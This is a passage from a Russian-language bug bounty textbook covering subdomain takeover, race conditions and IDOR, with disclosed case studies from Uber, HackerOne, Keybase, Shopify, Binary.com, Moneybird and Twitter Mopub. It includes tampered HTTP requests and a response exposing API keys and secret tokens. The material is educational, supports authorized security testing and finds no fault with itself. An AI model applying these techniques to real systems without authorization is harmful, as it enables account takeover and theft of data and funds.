которая определяет почтовый сервер, ответственный за отправку и получение
электронной почты от имени домена. Принимающие почтовые серверы и сервисы запрашивают у DNS-сервера эти записи, чтобы подтвердить подлинность
писем и предотвратить рассылку спама.
Хакер понял, что Uber доверяет управление своим поддоменом стороннему
сервису. Просмотрев DNS-конфигурацию для em.uber.com, Риял смог подтвердить, что запись MX указывала на mx.sendgrid.net. Однако настройки домена
должны редактировать только его владельцы, поэтому у Рияла не было возможности изменить записи MX сайта Uber и захватить поддомен напрямую.
В документации SendGrid он нашел сервис Inbound Parse Webhook, который
позволял клиентам отделять вложения от содержимого входящего письма
и отправлять его по указанному URL-адресу. Чтобы применить этот сервис,
администратор сайта должен был:
1. Создать запись MX для домена / сетевого имени или поддомена и направить
ее к mx.sendgrid.net.
2. Связать домен / сетевое имя и URL-адрес с сервисом Inbound Parse Webhook
на странице настройки API-интерфейса.
Бинго! Риял подтвердил существование записи MX, но теперь увидел, что
администраторы Uber не зарегистрировали поддомен em.uber.com в качестве
Inbound Parse Webhook. Поэтому Риял сам выполнил регистрацию и подготовил сервер для получения данных, которые передавал API-интерфейс SendGrid

180   Глава 14. Захват поддомена

Parse. Убедившись в том, что ему приходят электронные письма, он прекратил их перехватывать и сообщил о проблеме компаниям Uber и SendGrid.
В качестве исправления разработчики SendGrid добавили дополнительную
проверку безопасности, в рамках которой перед включением Inbound Parse
Webhook пользователи должны были подтвердить, что они владеют доменом.
Это должно было защитить другие сайты от подобных эксплойтов.

Выводы
Сторонняя документация может оказаться полезной. Если интересующий вас
сайт использует сторонний сервис, изучите возможности, которые он предлагает. В репозитории EdOverflow (https://github.com/EdOverflow/can-i-take-over-xyz/)
можно найти актуальный список уязвимых сервисов. Но даже если, согласно
этому списку, сервис является защищенным, не поленитесь его перепроверить
с помощью альтернативных методов.

Итоги
Причиной захвата поддомена может стать незарегистрированная DNS-запись
сайта, ссылающаяся на сторонний сервис. Для поиска подобных ошибок можно использовать такие инструменты, как KnockPy, crt.sh и censys.io, а также
средства, перечисленные в Приложении А.
Для захвата потребуется смекалка, как в случаях, когда Розен зарегистрировал
wildcard-домен, а Риял создал пользовательский веб-хук. Если вы нашли потенциальную уязвимость, но обычные методы не позволяют вам ею воспользоваться, ознакомьтесь с документацией сервиса. Исследуйте предлагаемые
возможности сервиса независимо от того, насколько они востребованы. Если
вы найдете возможность захватить поддомен, не забудьте продемонстрировать
уязвимость в уважительной манере.

15

Состояние гонки

Состояние гонки возникает в ситуации, когда два процесса стремятся завершить
работу, исходя из начального условия, которое может стать недействительным
в ходе ее выполнения. Представьте:
1. На вашем банковском счете есть 500 долларов, и вам нужно перевести эту
сумму другу.
2. Используя телефон, вы заходите в приложение банка и запрашиваете этот
перевод.
3. Спустя 10 секунд запрос все еще обрабатывается. Вы заходите на сайт банка
с ноутбука и, видя, что ваш баланс не изменился, запрашиваете перевод
еще раз.
4. Запросы на ноутбуке и телефоне завершаются с разницей в несколько
секунд.
5. На вашем счету теперь 0.
6. Друг получил 1000 долларов.
7. Вы обновляете банковский счет, но баланс все еще равен 0.
Условием для денежного перевода в пунктах 2 и 3 служит наличие на вашем
счете достаточной суммы. Баланс проверяется в начале каждой транзакции,
и несмотря на то что в ходе выполнения перевода начальное условие становится недействительным, оба процесса выполняются до конца.

182   Глава 15. Состояние гонки

Даже если выполнение HTTP-запроса кажется мгновенным, его обработка
занимает какое-то время. Если вы аутентифицированы на сайте, каждый
HTTP-запрос должен аутентифицироваться снова и снова, а данные для его
выполнения необходимо загрузить. Пока обе эти задачи не завершились, может возникнуть состояние гонки. Ниже приводятся примеры этой уязвимости
в веб-приложениях.

Многократное получение приглашения
на HackerOne
Сложность: низкая
URL: hackerone.com/invitations//
Источник: hackerone.com/reports/119354/
Дата подачи отчета: 28 февраля 2016 года
Выплаченное вознаграждение: почет
Занимаясь хакингом, ищите ситуации, в которых ваше действие зависит от
какого-то условия. Это касается любых действий, которые, как вам кажется,
могут обращаться к базе данных или применять бизнес-логику.
Когда я искал возможность несанкционированного доступа к данным программы на сайте HackerOne, мое внимание привлекла функция добавления новых
хакеров в программы Bug Bounty и новых участников в хакерские команды.
И хотя с тех пор система приглашений поменялась, в то время, когда я проводил
тестирование, сайт HackerOne отправлял по электронной почте уникальные
ссылки, которые не были привязаны к почтовым адресам получателей. Приглашение мог принять кто угодно, но только один раз для одной учетной записи.
В качестве приглашений на HackerOne использовались уникальные ссылки
наподобие токенов. Поэтому приложение, скорее всего, искало токен в базе
данных, добавляло учетную запись с учетом полученной информации и обновляло запись с токеном в БД так, чтобы ссылку нельзя было использовать
повторно.

Многократное получение приглашения на HackerOne  183

Такого рода рабочий процесс может привести к состоянию гонки по двум
причинам. Во-первых, поиск записи и выполнение действия на основе полученной информации с помощью условной логики создает задержку. Поиск
в БД — это предварительное условие, без выполнения которого невозможно
инициировать процедуру приглашения. Если код работает медленно, поиск
могут одновременно выполнить два почти мгновенных запроса, и условие для
дальнейшего выполнения будет удовлетворено в обоих случаях.
Во-вторых, обновление записей в базе данных может создать задержку между
проверкой условия и действием, которое это условие изменяет. Например,
чтобы обновить запись, необходимо ее сначала найти в таблице БД, что занимает некоторое время.
Чтобы понять, существовало ли состояние гонки, я создал на сайте HackerOne
еще две учетные записи в дополнение к своей основной (я буду называть их
Пользователь А, Б, В). В качестве Пользователя А я создал программу Bug
Bounty и пригласил в нее Пользователя Б. Затем я вышел из учетной записи
Пользователя А. Пользователю Б пришло письмо с приглашением, поэтому
я вошел в его учетную запись. Затем я запустил другой браузер, аутентифицировался в нем в качестве Пользователя В и открыл то же приглашение.
Далее я расположил рядом окна двух браузеров таким образом, чтобы кнопки
принятия приглашения находились одна над другой, как показано на рис. 15.1.

Рис. 15.1. Окна двух браузеров, размещенные друг под другом
и содержащие одно и то же приглашение на HackerOne

184   Глава 15. Состояние гонки

Затем я нажал на обе кнопки Accept настолько быстро, насколько мог. Попытка
не сработала, и пришлось повторить весь процесс. Со второго раза мне удалось
добавить в программу двух пользователей с помощью одного приглашения.

Выводы
В некоторых случаях состояние гонки можно выявить вручную — хотя для
этого, возможно, придется ускорить выполнение действий, например разместить кнопки ближе друг к другу. Попробуйте автоматизировать свой рабочий
процесс, чтобы добиться почти синхронного выполнения действий.

Превышение лимита на приглашения на сайт
Keybase
Сложность: низкая
URL: https://keybase.io/_/api/1.0/send_invitations.json/
Источник: hackerone.com/reports/115007/
Дата подачи отчета: 5 февраля 2015 года
Выплаченное вознаграждение: 350 долларов
Приложение для безопасного обмена данными Keybase ограничивало число
доступных регистраций, предоставляя каждому зарегистрированному пользователю по три приглашения. Хакеры могли догадаться, что сервер Keybase
получал запрос, проверял в БД количество приглашений пользователя, генерировал токен, отправлял приглашение по электронной почте и декрементировал количество возможных приглашений. Йосип Франькович счел такое
поведение подверженным состоянию гонки.
Франькович открыл страницу для рассылки приглашений https://keybase.io/
account/invitations/, ввел адреса электронной почты и пригласил сразу нескольких пользователей. Скорее всего, он использовал пакет Burp Suite, чтобы
сгенерировать соответствующие HTTP-запросы.

Состояние гонки в механизме выплат на сайте HackerOne  185

Пакет Burp Suite позволяет направлять запросы инструменту Burp Intruder,
который видоизменяет их подходящим образом. С его помощью можно указать значения, которые будут подставляться в каждый HTTP-запрос. Если
Франькович действительно его использовал, то мог указать в качестве значений
разные почтовые адреса и отправить запросы одновременно.
Он обошел лимит и пригласил на сайт семь пользователей. Разработчики
Keybase подтвердили уязвимость и исправили ее с помощью блокировки
(lock) — программной концепции, которая ограничивает доступ к ресурсам,
чтобы они не могли использоваться другими процессами.

Выводы
В данном случае представители Keybase согласились с наличием состояния
гонки, но, как было показано в разделе «Многократное получение приглашения
на HackerOne» на с. 182, не все программы Bug Bounty выплачивают вознаграждение за уязвимости с незначительными последствиями.

Состояние гонки в механизме выплат
на сайте HackerOne
Сложность: низкая
URL: нет
Источник: не разглашается
Дата подачи отчета: 12 апреля 2017 года
Выплаченное вознаграждение: 1000 долларов
Некоторые веб-сайты в процессе взаимодействия с пользователями обновляют записи в БД. Например, когда вы подаете отчет на сайте HackerOne,
команде, которой этот отчет адресован, отправляется электронное письмо,
а это в свою очередь инициирует обновление статистической информации
о команде.

186   Глава 15. Состояние гонки

Однако некоторые действия, такие как денежные платежи, хоть и инициируются в ответ на HTTP-запросы, но выполняются не сразу. Например, для
обращения к платежным сервисам, таким как PayPal, HackerOne использует
фоновое задание, которое создает запрос на выплату вознаграждения. Фоновые
действия обычно группируются перед выполнением и срабатывают в ответ
на какое-то событие. Они не привязаны к пользовательским HTTP-запросам
и обычно применяются сайтами для обработки больших объемов данных. Это
означает, что при назначении награды какому-то пользователю команда получает квитанцию вместе с ответом на свой HTTP-запрос, однако сам денежный
перевод добавляется в список фоновых заданий для дальнейшего выполнения.
Фоновые задания и обработка данных могут создавать задержки между проверкой условия (временем проверки) и завершением действий (временем использования). Если сайт проверяет условия не во время их использования, а только
в момент добавления фоновых заданий, это может привести к состоянию гонки.
В 2016 году сайт HackerOne начал объединять предоставляемые хакерам вознаграждения в единый платеж (при условии, что в качестве платежной системы
использовался сервис PayPal). До этого, если вас награждали несколько раз
в день, каждое вознаграждение выплачивалось по отдельности. После нововведения пользователь получал суммарный платеж за все принятые отчеты.
Джигар Таккар нашел возможность дублирования платежей. В процессе выплаты сайт HackerOne собирал вознаграждения в соответствии с почтовыми
адресами, суммировал их и затем отправлял PayPal запрос на денежный
перевод. В данном случае предварительное условие заключалось в проверке
адресов электронной почты, относящихся к вознаграждениям.
Таккар обнаружил, что, если два пользователя HackerOne имели один и тот
же почтовый адрес, зарегистрированный в PayPal, вознаграждения объединялись в единый платеж для этого адреса. Но если пользователь, обнаруживший
ошибку, менял свой почтовый адрес в PayPal после создания единого платежа,
но перед тем, как фоновое задание сайта HackerOne отправляло запрос на
денежный перевод платежной системе, итоговая сумма перечислялась как
на оригинальный счет, так и на счет пользователя, который нашел ошибку
и поменял адрес.
Важно знать, в какой момент инициируется обработка, потому что у вас есть
лишь несколько секунд для изменения условий.

Состояние гонки на платформе Shopify Partners  187

Выводы
Если вы заметили, что инициируемые вами действия выполняются далеко не
сразу, это верный признак того, что для обработки данных сайт использует
фоновые задания. Этот механизм стоит исследовать. Поменяйте условия,
определяющие задание, и проверьте, какие условия используются при его
выполнении: старые или новые. Будьте готовы к тому, что фоновое задание
выполнится мгновенно — скорость фоновой обработки зависит от количества
заданий в очереди.

Состояние гонки на платформе Shopify Partners
Сложность: высокая
URL: нет
Источник: hackerone.com/reports/300305/
Дата подачи отчета: 24 декабря 2017 года
Выплаченное вознаграждение: 15 250 долларов
Ранее раскрытый отчет может подсказать, где стоит искать другие ошибки.
Таннер Эмек использовал эту стратегию для выявления критической уязвимости на платформе Shopify Partners. С ее помощью Эмек мог получить доступ к любому магазину Shopify, зная адрес электронной почты сотрудника
этого магазина.
Обращаясь к платформе Shopify Partner, партнер может получить доступ к магазину Shopify посредством запроса, который принимают владельцы магазина.
Но для этого партнер должен иметь подтвержденный почтовый адрес, для
чего Shopify отправляет партнеру письмо с уникальной ссылкой, по которой
необходимо перейти. Эта процедура повторяется, когда партнер регистрирует
новую учетную запись или меняет почтовый адрес в существующей.
Эмек прочитал отчет хакера @uzsunny, за который тот получил 20 000$. В отчете раскрывалась уязвимость, которая позволяла @uzsunny получить доступ
к любому магазину Shopify. Она возникала в ситуации, когда две партнерские

188   Глава 15. Состояние гонки

учетные записи имели один и тот же адрес электронной почты и друг за другом
запрашивали доступ к одному и тому же магазину. Код сайта Shopify автоматически присваивал учетной записи сотрудника статус партнера. Если у партнера
уже была учетная запись сотрудника в заданном магазине и он запрашивал
партнерский доступ у платформы Partners, код Shopify автоматически его
принимал и делал учетную запись партнерской. В большинстве случаев это
преобразование было логичным, так как у партнера уже был доступ к магазину
благодаря учетной записи сотрудника.
Однако этот код не выполнял надлежащую проверку типа существующей
учетной записи, которой принадлежал почтовый адрес. Если учетная запись
партнера пребывала в состоянии «ожидания» и еще не была одобрена владельцем магазина, она становилась активной. Партнер, в сущности, мог одобрить
свою собственную заявку, не взаимодействуя с владельцем.
Эмек увидел, что @uzsunny описал в отчете запрос, посланный через подтвержденный почтовый адрес, и попытался создать учетную запись и поменять почтовый адрес на тот, который принадлежал одному из сотрудников,
чтобы превратить сотрудника в партнера, учетную запись которого он уже
контролировал. Создав партнерскую учетную запись и указав принадлежащий
ему почтовый адрес, Эмек не перешел по присланной ссылке. На платформе
Partner он поменял свой адрес на чужой, cache@hackerone.com, и перехватил
запрос на изменение с помощью Burp Suite. После этого перешел по перехваченной ссылке, чтобы подтвердить свой почтовый адрес. Перехватив оба
HTTP-запроса (на изменение и подтверждение адреса), Эмек использовал
Burp, чтобы послать их один за другим, почти одновременно.
После отправки запросов Эмек обновил страницу и увидел, что сайт Shopify
выполнил как изменение адреса, так и его подтверждение. В результате этих
действий был подтвержден почтовый адрес Эмека, cache@hackerone.com. Благодаря этому Эмек мог запросить и получить партнерский доступ к любому
магазину, один из сотрудников которого имел адрес cache@hackerone.com, без
какого-либо взаимодействия с администрацией. Компания Shopify подтвердила, что причиной уязвимости было состояние гонки в логике приложения,
отвечавшей за изменение и подтверждение почтовых адресов. Для исправления
ошибки информация об учетной записи в базе данных начала блокироваться
во время каждого действия, а для выполнения любого партнерского запроса
теперь требуется одобрение администратора.

Итоги  189

Выводы
Когда новая уязвимость становится публичной, прочитайте соответствующий
отчет и еще раз исследуйте приложение. Возможно, вам удастся обойти исправление, внесенное разработчиками, или обнаружить еще одну ошибку. При
тщательном тестировании любого механизма проверки пытайтесь представить
себе, каким образом разработчики могли реализовать ту или иную функцию,
и может ли эта реализация быть подвержена состоянию гонки.

Итоги
Наличие условия, на актуальность которого влияет выполнение действия,
может способствовать появлению состояния гонки. Ищите сайты, которые
ограничивают количество выполняемых действий или реализуют их в виде
фоновых заданий. Обычно для возникновения состояния гонки необходимо,
чтобы условия менялись очень быстро, поэтому если вам кажется, что какаято функция уязвима, для ее успешной эксплуатации может потребоваться
несколько попыток.

16

Небезопасные прямые
ссылки на объекты

Небезопасная прямая ссылка на объект (insecure direct object reference, или
IDOR) позволяет злоумышленнику прочитать или изменить ссылку на ресурс (такой как файл, строка в БД, учетная запись и т. д.), доступа к которому
у него быть не должно. Представьте, что на веб-сайте www..com есть
приватные профили, которые должны быть доступны только их владельцам
по URL-адресу вида www..com/user?id=1. Параметр id определяет, чей
профиль вы просматриваете. Если для доступа к чужому профилю достаточно
поменять параметр id на 2 — это пример уязвимости IDOR.

Поиск простых уязвимостей IDOR
В самом простом случае роль идентификатора играет обычное целое число,
которое инкрементируется при создании новой записи. Для проверки таких
уязвимостей достаточно вычесть 1 из параметра id и подтвердить, что вы
получили несанкционированный доступ к информации.
Эту проверку можно осуществить с помощью веб-прокси Burp Suite (Приложение А), перехватывающего трафик, который ваш браузер отправляет
веб-сайту. Burp позволяет отслеживать, воспроизводить и изменять HTTP-

Поиск более сложных уязвимостей IDOR  191

за­просы на лету. Чтобы выявить уязвимость IDOR, отправьте свой запрос
инструменту Burp Intruder, выберите в качестве передаваемых данныхчисленный параметр id и укажите, что с ним нужно сделать: инкрементировать
или декрементировать.
Инициировав атаку с применением Burp Intruder, вы можете проверить размер
содержимого и код полученного HTTP-ответа, чтобы понять, имеете ли вы
доступ к данным. Например, если сайт всегда возвращает ответы одинаковой
длины с кодом 403, он, скорее всего, неуязвим. Статус 403 означает, что доступ
к нему запрещен. Код 200 и варьируемая длина ответов может означать, что
вам доступны приватные записи.

Поиск более сложных уязвимостей IDOR
Сложные уязвимости IDOR могут возникать, когда параметр id спрятан в теле
POST-запроса или имеет имя, которое сложно распознать. Вы, наверное, уже
сталкивались с тем, что в качестве идентификаторов используются не совсем
очевидные параметры, такие как ref, user или column. Но даже если вам не
удается сразу определить идентификатор по имени его параметра, обратите
внимание на передаваемые значения. Если среди них есть целое число, попробуйте его изменить и посмотрите, как это повлияет на поведение сайта. С помощью Burp легче перехватить HTTP-запрос, поменять ID и воспроизвести
его, используя инструмент Repeater.
Обнаружение уязвимостей IDOR осложняется тем, что некоторые сайты
используют случайные на вид идентификаторы, такие как универсальный
уникальный идентификатор (universal unique identifier, или UUID). UUID
представляет собой алфавитно-цифровую строку длиной 36 символов, которая не соответствует какому-то определенному шаблону. На сайте, который
применяет UUID, практически невозможно найти корректные записи путем
подбора случайных значений. Чтобы получить доступ к пользовательским
профилям с идентификаторами UUID, создайте профиль пользователя А,
а затем войдите на сайт от имени пользователя Б и попробуйте открыть профиль А, указав его UUID.
Получение доступа к объектам по их UUID администраторы сайта могут не
посчитать уязвимостью, так как идентификаторы этого типа по своей природе

192   Глава 16. Небезопасные прямые ссылки на объекты

не поддаются подбору. Ищите участки сайта, в которых раскрывается интересующий вас случайный идентификатор. Представьте сайт, предназначенный для
командной работы, на котором пользователи идентифицируются с помощью
UUID. Когда вы приглашаете кого-то в свою команду, HTTP-ответ на это приглашение может раскрыть UUID того пользователя. Бывает и так, что UUID
записи возвращается в результатах поиска по сайту. Найти места, где могут
фигурировать идентификаторы, поможет исходный код HTML-страницы,
которая возвращается в HTTP-ответе: в ней может содержаться информация,
которую нельзя увидеть на самом сайте. Для этого можно отслеживать запросы в веб-прокси Burp или щелкнуть правой кнопкой мыши в окне браузера
и выбрать пункт меню View Page Source (Просмотреть исходный код).
Даже если вам удается найти случайно раскрытые UUID, некоторые сайты
выплачивают вознаграждение за уязвимости, ведущие к утечке чувствительной
информации и явному нарушению модели прав доступа. В представленных
ниже примерах показаны уязвимости IDOR, сложность выявления которых
варьируется.

Повышение привилегий на сайте Binary.com
Сложность: низкая
URL: www.binary.com
Источник: hackerone.com/reports/98247/
Дата подачи отчета: 6 ноября 2015 года
Выплаченное вознаграждение: 300 долларов
Если в веб-приложении, использующем учетные записи, зарегистрировать
двух пользователей и протестировать их одновременно, между ними можно
выявить уязвимости IDOR. Этот подход применил Махмуд Гамаль во время
анализа работы сайта binary.com.
Binary.com — это площадка, на которой пользователи могут торговать валю-

той, фондовыми индексами, акциями и товарами. На момент подачи отчета
URL-адрес www.binary.com/cashier отображал iFrame с атрибутом src, который

Создание приложений на сайте Moneybird  193

ссылался на поддомен cashier.binary.com и передавал сайту такие параметры,
как pin, password и secret. Эти параметры, скорее всего, предназначались для
аутентификации пользователей. Поскольку браузер находился на странице
www.binary.com/cashier, информация, передаваемая поддомену cashier.binary.com,
была видна только при просмотре HTTP-запроса, отправляемого веб-сайту.
Гамаль заметил, что параметр pin использовался в качестве идентификатора
учетной записи и что его значение, судя по всему, было обычным целым числом, которое можно подобрать. Он создал две учетные записи А и Б. Открыв
страницу /cashier от имени А, он записал параметр pin и сделал то же самое
для Б. Подставив в iFrame Б параметр pin А, он получил доступ к учетным
данным А и запросил информацию о выводе денежных средств.
Команда сайта binary.com сразу исправила проблему, заявив при этом, что
операции вывода средств просматриваются и одобряются вручную, поэтому
подозрительная активность не осталась бы незамеченной.

Выводы
Для автоматизации проверок IDOR используйте подключаемые модули
Autorize и Authmatrix для Burp.
В отслеживании iFrame и ситуаций, когда одна веб-страница обращается по
нескольким URL-адресам, поможет прокси вроде Burp. Burp пишет в свою
историю все GET-запросы к другим страницам, таким как cashier.binary.com,
упрощая их перехват.

Создание приложений на сайте Moneybird
Сложность: средняя
URL: https://moneybird.com/user/applications/
Источник: hackerone.com/reports/135989/
Дата подачи отчета: 3 мая 2016 года
Выплаченное вознаграждение: 100 долларов

194   Глава 16. Небезопасные прямые ссылки на объекты

Я начал исследовать сайт Moneybird на предмет уязвимостей, сосредоточившись на правах доступа для учетных записей. Создав «бизнес» в учетной записи А, я пригласил пользователя Б, выдав ему ограниченные права доступа.
В Moneybird эти права выражаются в возможности использовать накладные,
сметы и т. д.
Пользователь с неограниченным доступом мог создавать приложения и разрешать использование API-интерфейса. Например, чтобы создать приложение
с полным набором прав доступа, он мог отправить такой POST-запрос:
POST /user/applications HTTP/1.1
Host: moneybird.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Referer: https://moneybird.com/user/applications/new
Cookie: _moneybird_session=REDACTED; trusted_computer=
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 397
utf8=%E2%9C%93&authenticity_token=REDACTED&doorkeeper_application%5Bname%5D=TW
DApp&token_type=access_token&administration_id=ABCDEFGHIJKLMNOP&scopes%5B%5D=
sales_invoices&scopes%5B%5D=documents&scopes%5B%5D=estimates&scopes%5B%5D=ban
k&scopes%5B%5D=settings&doorkeeper_application%5Bredirect_uri%5D=&commit=Save

Как видите, тело POST-запроса содержит параметр administration_id . Это
идентификатор учетной записи, в которую добавляются пользователи. Он
был длинным и случайным на вид, поэтому его было сложно подобрать; тем
не менее, когда добавленные пользователи посещали страницу учетной записи, которая их пригласила, он сразу же раскрывался. Например, когда Б
аутентифицировался и посещал страницу А, он перенаправлялся по URLадресу https://moneybird.com/ABCDEFGHIJKLMNOP/, где ABCDEFGHIJKLMNOP — это
administration_id учетной записи А.
Я проверил, мог ли Б создать приложение для бизнеса А, не имея соответствующих прав доступа. Войдя в учетную запись Б, я создал второй «бизнес»,
единственным участником которого был Б. Это давало ему полные права доступа к этому «бизнесу», но он не мог создавать приложения для А.

Похищение токена для API-интерфейса Twitter Mopub  195

Затем я посетил страницу настроек Б, создал приложение и, используя Burp
Suite, перехватил POST-вызов, чтобы подставить вместо administration_id
идентификатор А. Отправка измененного запроса подтвердила наличие уязвимости. Б сумел создать приложение с полным доступом к учетной записи А
и получил возможность несанкционированного выполнения действий с помощью этого приложения.

Выводы
Ищите параметры, которые могут содержать значения идентификаторов, например символы id в именах. Особое внимание уделяйте параметрам, которые
содержат только цифры, поскольку такие идентификаторы с высокой долей
вероятности генерируются предсказуемым способом. Если вам не удается
подобрать ID, попытайтесь определить, раскрывается ли он где-нибудь.

Похищение токена для API-интерфейса
Twitter Mopub
Сложность: средняя
URL: https://mopub.com/api/v3/organizations/ID/mopub/activate/
Источник: hackerone.com/reports/95552/
Дата подачи отчета: 24 октября 2015 года
Выплаченное вознаграждение: 5040 долларов
Ахил Рени обнаружил, что приложение Mopub, приобретенное компанией
Twitter, имело уязвимость IDOR, приводившую к утечке API-ключей и секретного токена. Через несколько недель после подачи отчета Рени понял,
что проблема была более серьезной, и подал обновленный отчет. К счастью,
он сделал это еще до выплаты вознаграждения.
Изначально Рени обнаружил, что одна из конечных точек Mopub не выполняла корректную авторизацию пользователей и раскрывала в своем POST-ответе
API-ключ и токен build_secret. Его POST-запрос выглядел так:

196   Глава 16. Небезопасные прямые ссылки на объекты

POST /api/v3/organizations/5460d2394b793294df01104a/mopub/activate HTTP/1.1
Host: fabric.io
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-CSRF-Token: 0jGxOZOgvkmucYubALnlQyoIlsSUBJ1VQxjw0qjp73A=
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CRASHLYTICS-DEVELOPER-TOKEN: 0bb5ea45eb53fa71fa5758290be5a7d5bb867e77
X-Requested-With: XMLHttpRequest
Referer: https://fabric.io/img-srcx-onerrorprompt15/android/apps/app.myapplication/mopub
Content-Length: 235
Cookie:
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
company_name=dragoncompany&address1=123 street&address2=123&city=hollywood&
state=california&zip_code=90210&country_code=US&link=false

На что он получал такой ответ:
{"mopub_identity":{"id":"5496c76e8b15dabe9c0006d7","confirmed":true,"primary":
false,"service":"mopub","token":"35592"},"organization":{"id":"5460d2394b793
294df01104a","name":"test","alias":"test2","api_key":"8590313c7382375063c2fe
279a4487a98387767a","enrollments":{"beta_distribution":"true"},"accounts
_count":3,"apps_counts":{"android":2},"sdk_organization":true,"build
_secret":"5ef0323f62d71c475611a635ea09a3132f037557d801503573b643ef8ad82054",
"mopub_id":"33525"}}

Ответ Mopub содержит параметры api_key  и build_secret , о которых
Рени сообщил компании Twitter в первом отчете. Но для доступа к информации нужно было знать значение organization_id , которое представляло
собой случайную на вид строку из 24 цифр. Рени заметил, что пользователи
могли публиковать сведения о сбоях приложения по адресу вида http://crashes.
to/s/. При посещении одной из таких страниц возвращался ответ,
в теле которого содержался параметр organization_id. Рени сумел составить
список значений organization_id, выполнив поиск в Google по site:http://crashes.
to/s/. Имея в своем распоряжении api_key, build_secret и organization_id,
злоумышленник мог похитить API-токены.
Разработчики Twitter исправили уязвимость и попросили Рени подтвердить,
что у него больше нет несанкционированного доступа к информации. Именно

Раскрытие клиентской информации  197

в этот момент Рени осознал, что параметр build_secret, возвращенный в HTTPот­вете, использовался также в URL-адресе https://app.mopub.com/complete/ht
sdk/?code=&next=%2d. Эта страница аутентифицировала
пользователя и перенаправляла его к соответствующей учетной записи на
сайте Mopub, что позволяло злоумышленнику зайти на сайт от имени любого
другого пользователя. Злоумышленник мог бы получить доступ к приложениям и организациям атакуемой учетной записи из платформы для мобильной
разработки Twitter. В ответ на просьбу представителей компании Рени предоставил дополнительные сведения и инструкции по воспроизведению атаки.

Выводы
Всегда старайтесь ясно демонстрировать последствия найденных уязвимостей,
особенно в случае с IDOR.

Раскрытие клиентской информации
Сложность: высокая
URL: https://www..com/customer_summary?customer_id=abeZMloJyUovapiXqrHyi0DshH
Источник: нет
Дата подачи отчета: 20 февраля 2017 года
Выплаченное вознаграждение: 3000 долларов
Эта уязвимость найдена в рамках закрытой программы на сайте HackerOne.
Она все еще не разглашена, поэтому сведения о ней были изменены в целях
анонимности.
Одна компания, назовем ее ACME Corp, написала приложение, позволявшее
администраторам создавать пользователей и назначать им права доступа. Начав исследовать это ПО на предмет уязвимостей, я использовал свою учетную
запись администратора для создания еще одного пользователя без каких-либо
прав. Зайдя на сайт под именем этого пользователя, я начал открывать URLадреса, которые должны были быть доступны только администратору.

198   Глава 16. Небезопасные прямые ссылки на объекты

Я открыл страницу с подробностями о клиенте по адресу www..com/
customization/customer_summary?customer_id=abeZMloJyUovapiXqrHyi0DshH. В ответ
сайт вернул клиентские данные на основе идентификатора, переданного в параметре customer_id. Меня удивил тот факт, что пользователь, не имевший
никакого доступа, получил эту информацию.
И хотя параметр customer_id, на первый взгляд, нельзя было подобрать, он мог
быть по ошибке раскрыт в каком-то участке сайта. Или же, когда пользователь
терял свои права доступа, он по-прежнему мог просматривать подробности
о клиенте, если он знал его customer_id. В моем отчете было указано именно
такое обоснование. Но, оглядываясь назад, я думаю, что перед тем как сообщать о найденной проблеме, мне следовало бы поискать утечку customer_id.
Мой отчет был признан «информативным», так как значение customer_id нельзя было подобрать. Информативные отчеты не заслуживают вознаграждения
и могут отрицательно сказаться на репутации в HackerOne. Не смутившись,
я начал искать потенциальные места утечки идентификатора, проверяя все
конечные точки, которые мне удалось обнаружить. Двумя днями позже я нашел уязвимость.
Я начал открывать URL-адреса от имени пользователя, который имел доступ
только к поиску по заказам и у которого не должно было быть возможности
просматривать информацию о клиентах и продуктах. При выполнении поиска
возвращался следующий JSON-документ:
{
"select": "(*,hits.(data.(order_no, customer_info, product_items.(product_
id,item_text), status, creation_date, order_total, currency)))",
"_type": "order_search_result",
"count": 1,
"start": 0,
"hits": [{
"data": {
"order_no": "00000001",
"product_items": [{
"_type": "product_item",
"product_id": "test1231234",
"item_text": "test"
}],
"_type": "order",
"creation_date": "2017-02-25T02:31Z",
"customer_info": {
"customer_no": "00006001",

Итоги  199

"_type": "customer_info",
"customer_name": "pete test",
"customer_id": "abeZMloJyUovapiXqHyi0DshH",
"email": "test@gmail.com"
}
}
}]
}--пропуск—

Обратите внимание, что код содержит значение customer_id , идентичное
тому, которое фигурировало в URL-адресе страницы с данными о клиенте.
Это говорит об утечке идентификатора клиента.
Не остановившись на обнаружении customer_id, я продолжил исследовать
масштаб уязвимости. Мне удалось найти другие идентификаторы, которые
тоже можно было подставлять в URL-адреса для несанкционированного доступа к данным. Мой второй отчет был принят и оплачен.

Выводы
Обнаружив уязвимость, убедитесь, что понимаете, как ею может воспользоваться злоумышленник. Попробуйте поискать утечки идентификаторов, которые
могут быть подвержены аналогичной уязвимости. Не унывайте, если с вашим
отчетом не соглашаются. Вы можете продолжить поиск участков, в которых
проявляется найденная проблема, и подать еще один отчет, если вам удастся
обнаружить новые сведения.

Итоги
Уязвимости IDOR возникают в ситуациях, когда злоумышленник может прочитать или изменить ссылку на объект, который не должен быть ему доступен.
В простых случаях IDOR заключается в прибавлении или вычитании 1 из
целых инкрементируемых чисел. В более сложных примерах с применением
UUID или случайных идентификаторов, возможно, потребуется проверить
платформу на предмет утечек. Это можно сделать, например, в JSON-ответах
или HTML-содержимом, используя разные методы, такие как поиск Google
и анализ URL-адресов. Всегда описывайте в отчетах самые опасные возможные
атаки, так как от этого зависит размер вознаграждения.

17

Уязвимости в OAuth

OAuth — это открытый протокол, который упрощает и стандартизирует безо­
пасную авторизацию в вебе, на мобильных устройствах и в настольных приложениях. Он делает возможной регистрацию без указания имени пользователя и пароля. На веб-сайтах он часто имеет вид кнопки для входа с помощью
платформы, как показано на рис. 17.1. Под платформой здесь подразумевается
Facebook, Google, LinkedIn, Twitter и т. д.

Рис. 17.1. Пример кнопки Google, позволяющей войти на сайт по OAuth

Уязвимости в OAuth связаны с конфигурацией приложения и возникают в результате ошибок в реализации. Но учитывая их последствия и распространенность, они заслуживают обсуждения. Несмотря на множество разновидностей,
мы сделаем акцент на случаях, когда уязвимость в OAuth позволяет похитить
аутентификационные токены и получить доступ к информации о жертве на
сервере ресурса.
